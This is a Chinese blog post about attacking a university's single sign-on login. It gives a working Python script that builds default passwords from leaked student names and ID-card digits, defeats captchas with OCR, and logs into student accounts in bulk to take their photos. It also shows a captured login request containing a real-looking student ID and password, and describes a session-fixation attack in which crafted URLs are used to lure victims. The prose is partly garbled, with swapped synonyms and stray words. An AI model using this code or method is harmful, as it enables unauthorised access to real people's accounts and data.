刚学习python,以为比较枯燥总不知道从哪里入手,偶然一次,同窗让我帮忙看看选课,发给个人是学校统一的默认格式的密码,忽然就想试试有多少人仍是默认密码,从QQ群里找了一份学生信息尝试了一下,发现默认密码的仍是挺多的,我就想是否是能够经过脚原本作一些有趣的事情。html
打开学校教务处官网,正常登录一波,发现页面跳转到http://210.41.224.117/Login/xLogin/Login.asp
python
填写密码登录,发现登录页面又跳转回到了教务处!算法
流程就是教务处点击登陆,页面被带到一个认证平台认证,成功后回到教务处。sql
这样看太过于笼统,抓包分析一下。跨域
这是登陆前从教务处到认证平台的过程,有好几个302,仔细看了一下大体是从http://jxgl.cuit.edu.cn/JXGL/xs/MainMenu.asp
页面,跳转到一个多是判断用户是否登陆的页面,而后在跳到http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp
这个页面,以后跳转到认证页面http://210.41.224.117/Login/qqLogin.asp
浏览器
这大概是个单点登录的过程安全
1、什么是单点登陆SSO(Single Sign-On)服务器
SSO是一种统一认证和受权机制,指访问同一服务器不一样应用中的受保护资源的同一用户,只须要登陆一次,即经过一个应用中的安全验证后,再访问其余应用中的受保护资源时,再也不须要从新登陆验证。cookie
简单点说,就是一个账号,多个系统都能使用,且只要登陆第一个系统,待认证经过后,其它系统能够直接使用,而不须要再次登陆.app
2、为何要用
提升用户的效率。用户再也不被屡次登陆困扰,也不须要记住多个 ID 和密码。另外,用户忘记密码并求助于支持人员的状况也会减小。
提升开发人员的效率。SSO 为开发人员提供了一个通用的身份验证框架。实际上,若是 SSO 机制是独立的,那么开发人员就彻底不须要为身份验证操心。他们能够假设,只要对应用程序的请求附带一个用户名,身份验证就已经完成了。
简化管理。若是应用程序加入了单点登陆协议,管理用户账号的负担就会减轻。简化的程度取决于应用程序,由于 SSO 只处理身份验证。因此,应用程序可能仍然须要设置用户的属性(好比访问特权)。
3、SSO实现机制
SSO大概有如下几种方式实现:
共享Cookie
当咱们的子系统都在一个父级域名下时,咱们能够将Cookie种在父域下,这样浏览器同域名下的Cookie则能够共享,这样能够经过Cookie加解密的算法获取用户SessionID,从而实现SSO。b. 跨域没法使用。
因此到后面抛弃这种作法。
Ticket验证
这种实现的SSO有如下几个步骤: a. 用户访问某个子系统,发现若是未登陆,则引导用户跳转到SSO登陆页面; b. 判断SSO是否已经登陆; c. 若是已经登陆,直接跳转到回调地址,并返回认证ticket; d. 若是未登陆,用户正确输入用户名/密码,认证经过跳转到回调地址,并返回认证ticket;e. 子系统获取ticket,调用SSO获取用户uid等信息,成功后让用户登陆。
Ticket验证时序图
4、学校网站登录的实现
a. 学生访问某个子系统如教务处,发现若是未登陆,发送一个带OSid参数的地址引导用户跳转到SSO登陆页面;
b. 经过判断OSid来判断SSO是否已经登陆;
c. 若是已经登陆,直接跳转到回调地址,服务器端认证当前OSid;
d. 若是未登陆,用户正确输入用户名/密码,认证经过跳转到回调地址;
e. 子系统获取OSid,调用SSO获取用户uid等信息,成功后让用户登陆。
对数据包进行具体的分析
发现具体setcookie和分配OSid是在这个页面http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp
我只须要先访问一次这个页面,获取了cookie和OSid便可,打开一个会话经过提交OSid参数访问认证平台,认证经过了即表明我教务处的回话处于登陆状态。
知道过程还须要知道登陆时具体须要哪些参数,看一下具体post的内容
POST /Login/xLogin/Login.asp HTTP/1.1 Host: 210.41.224.117 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://210.41.224.117/Login/xLogin/Login.asp Cookie: ASPSESSIONIDQAABSBDB=GELMKBJBABOODECPPGIDDKMC Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 122 WinW=2560&WinH=1080&txtId=2016122150&txtMM=WYH020257a&verifycode=rew&codeKey=19056&Login=Check&IbtnEnter.x=0&IbtnEnter.y=0
WinW=2560&WinH=1080
这两个是屏幕分辨率,txtId=2016122150&txtMM=WYH020257a
这两个是帐号密码,verifycode=rew
这是验证码,codeKey=19056
这是一个判断页面是不是同一个页面的参数这个试了很久发现这个修改一下就认证不起,这个具体参数在第一次请求的源码里面能够找到
1.新建会话访问http://210.41.224.117/Login/xLogin/Login.asp
首先获取OSid,和cookie,还有codeKey
2.获取验证码http://210.41.224.117/Login/xLogin/yzmDvCode.asp?k=%s&t=1480853802484
(这里k就是以前获取的codeKey)
3.提交数据登陆http://210.41.224.117/Login/xLogin/Login.asp
4.判断登陆状态,获取头像
#coding=utf-8 from requests import get,post,Session import re import MySQLdb import hz import os import string import pytesseract from PIL import Image login_heard = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36", "Referer": "http://210.41.224.117/Login/xLogin/Login.asp" } postdata = { "WinW": "2560", "WinH": "1080", "txtId": "", "txtMM":"", "verifycode":"", "codeKey":'', "Login":"Check", "IbtnEnter.x":62, "IbtnEnter.y":54 } loginurl="http://210.41.224.117/Login/xLogin/Login.asp" codeurl="http://210.41.224.117/Login/xLogin/yzmDvCode.asp?k=%s&t=1480853802484" #验证码 getpicurl="http://210.41.224.117/Login/GetZpPic.asp" #获取头像 jwclogin="http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp" #获取uid jwclogout="http://jxgl.cuit.edu.cn/Jxgl/UserPub/Logout.asp?UTp=Xs"#注销登陆 class student(): id ="" ClassID = "" gread = "" zhuanye = "" name = "" passwd = "" def __init__(self,ID): self.id = ID self.passwd = getpass(id) #print passwd,id def getxx(StudentID): db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8") cursor = db.cursor() sql = "SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE StudentID= %s" %StudentID cursor.execute(sql) xx = cursor.fetchall() db.close() return xx def getid_0(gread,zhuanye,ClassID): db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8") cursor = db.cursor() sql = "SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE `ClassID` = '%s' and zyid=%s and gread = %s" %(ClassID,zhuanye,gread) cursor.execute(sql) id = cursor.fetchall() db.close() #print sql return id def getid_1(gread): db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8") cursor = db.cursor() sql1 = "SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE Gread = %d " %(gread) cursor.execute(sql1) id = cursor.fetchall() db.close() #print sql return id def getpass(id): db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8") cursor = db.cursor() sql = "select CONCAT(Name,RIGHT(IDcard,6)) from cuit.xsxx where StudentID = '%s'" %id cursor.execute(sql) data = cursor.fetchone() password=u'%s' %data #print(password) password = hz.main(password) password=password+"a" db.close() return password def getcode(code): image = Image.open(code) vcode = pytesseract.image_to_string(image) vcode = re.sub(r'\W',"",vcode) return str(vcode) def login(xiaomin,path): S = Session() # 先访问login页面,拿cookies,codeKey R_1 = S.get(loginurl,headers=login_heard) R_1.encoding = "GB2312" #匹配codekey 格式:var codeKey = '587913'; codeKey = re.findall("var codeKey = '(.*)';", R_1.text) postdata["codeKey"]=str(codeKey[0]) flag = -1 changdu = 0 while flag == -1: changdu = changdu +1 #使用code去刷新验证码 R_yzm = S.get(codeurl % codeKey[0],headers=login_heard) #保存验证码 with open("code.bmp", "wb") as code: code.write(R_yzm.content) yzm=getcode("code.bmp") postdata["verifycode"]=yzm postdata["txtId"]=xiaomin.id postdata["txtMM"]=xiaomin.passwd R_post = S.post(loginurl,headers=login_heard,data=postdata) R_post.encoding = "gbk" if "LoginOK!" in R_post.text : flag = 1 print (str(xiaomin.id)+":"+str(xiaomin.passwd)) if u"验证码不匹配,请从新输入验证码!" in R_post.text : flag = -1 #print ("验证码错误!") if u"用户名和密码均区分大小写,其中至少一项输入有误,请从新输入!" in R_post.text : flag = 0 print (str(id)+":密码错误!") #print postdata["txtMM"] #print postdata if flag == 1: # 请求头像 R_face = S.get(getpicurl,headers=login_heard) with open(path+"/"+id+".jpg", "wb") as code: code.write(R_face.content) #END = S.get(jwclogouturl,headers=login_heard) print "长度:%d"%changdu def find(way): if way == 1: ids = getxx(raw_input('学号:')) if way == 2: gread = input(' 年级:') zhuanye = input('专业代码:') ClassID = input('班级序号:') ids = getid_0(gread,zhuanye,ClassID) elif way == 3: gread = input('年级:') ids = getid_1(gread) return ids ids = find(int(input('查询方式:'))) len = len(ids) for i in range(0,len): id=ids[i][0] xiaomin = student(id) ClassID= ids[i][1] zhuanye=ids[i][2] gread=ids[i][3] path = "./"+str(gread)+"/"+str(zhuanye)+"/"+str(ClassID) if (not os.path.exists(path)): os.makedirs(path) if (not os.path.exists(path+"/"+id+".jpg")): login(xiaomin,path)
仔细推敲一下他的逻辑,在认证平台只是经过OSid来识别用户,若是我拿带有个人cookie得到的OSid的url去诱骗其余用户点击,或者只须要用户认证平台的会话处于已经认证的状态,只须要打开我构造好的url便可实现
实现过程:
1.a用户(攻击者)新建个网页打开教务处点击登陆,抓包找到这么一个请求http://210.41.224.117/Login/qqLogin.asp?Oid=jxgl%2Ecuit%2Eedu%2Ecn&OSid=594722713
2.换个浏览器模拟b用户(受害者),打开刚刚那个获取的url,点击登陆,若是第二个用户自己已经登录过的话,只须要打开这个连接便可!
3.a用户这时候从新点登陆,发现已经成功登录,这里头像没有加载出来的缘由是头像都是来自于认证平台,而咱们只是得到了教务处的信任
1.验证码:使用的pytesseract模块,识别率不高,平均十五个识别出一个
2.汉字转为汉语拼音,构造密码的时候遇到的,找的网上的一段算法
3.主要是把登陆逻辑搞清楚,一切都好解决
sso单点认证:
http://blog.csdn.net/lishehe/article/details/40196353
http://dev.cmcm.com/archives/238
oauth:
http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html
Requests 库的高级用法:
http://docs.python-requests.org/zh_CN/latest/user/advanced.html